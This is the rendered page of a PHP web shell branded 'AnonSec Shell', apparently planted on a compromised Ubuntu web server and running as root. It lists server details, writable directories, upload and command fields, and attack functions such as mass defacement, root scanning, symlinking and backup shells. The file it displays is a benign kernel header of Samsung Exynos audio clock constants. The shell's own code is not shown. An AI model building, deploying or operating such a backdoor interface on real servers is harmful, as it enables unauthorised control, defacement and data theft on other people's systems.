AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/5.15.0-136-generic/build/include/dt-bindings/clock/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/modules/5.15.0-136-generic/build/include/dt-bindings/clock/exynos-audss-clk.h
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * This header provides constants for Samsung audio subsystem
 * clock controller.
 *
 * The constants defined in this header are being used in dts
 * and exynos audss driver.
 */

#ifndef _DT_BINDINGS_CLK_EXYNOS_AUDSS_H
#define _DT_BINDINGS_CLK_EXYNOS_AUDSS_H

#define EXYNOS_MOUT_AUDSS	0
#define EXYNOS_MOUT_I2S	1
#define EXYNOS_DOUT_SRP	2
#define EXYNOS_DOUT_AUD_BUS	3
#define EXYNOS_DOUT_I2S	4
#define EXYNOS_SRP_CLK		5
#define EXYNOS_I2S_BUS		6
#define EXYNOS_SCLK_I2S	7
#define EXYNOS_PCM_BUS		8
#define EXYNOS_SCLK_PCM	9
#define EXYNOS_ADMA		10

#define EXYNOS_AUDSS_MAX_CLKS	11

#endif

Anon7 - 2022
AnonSec Team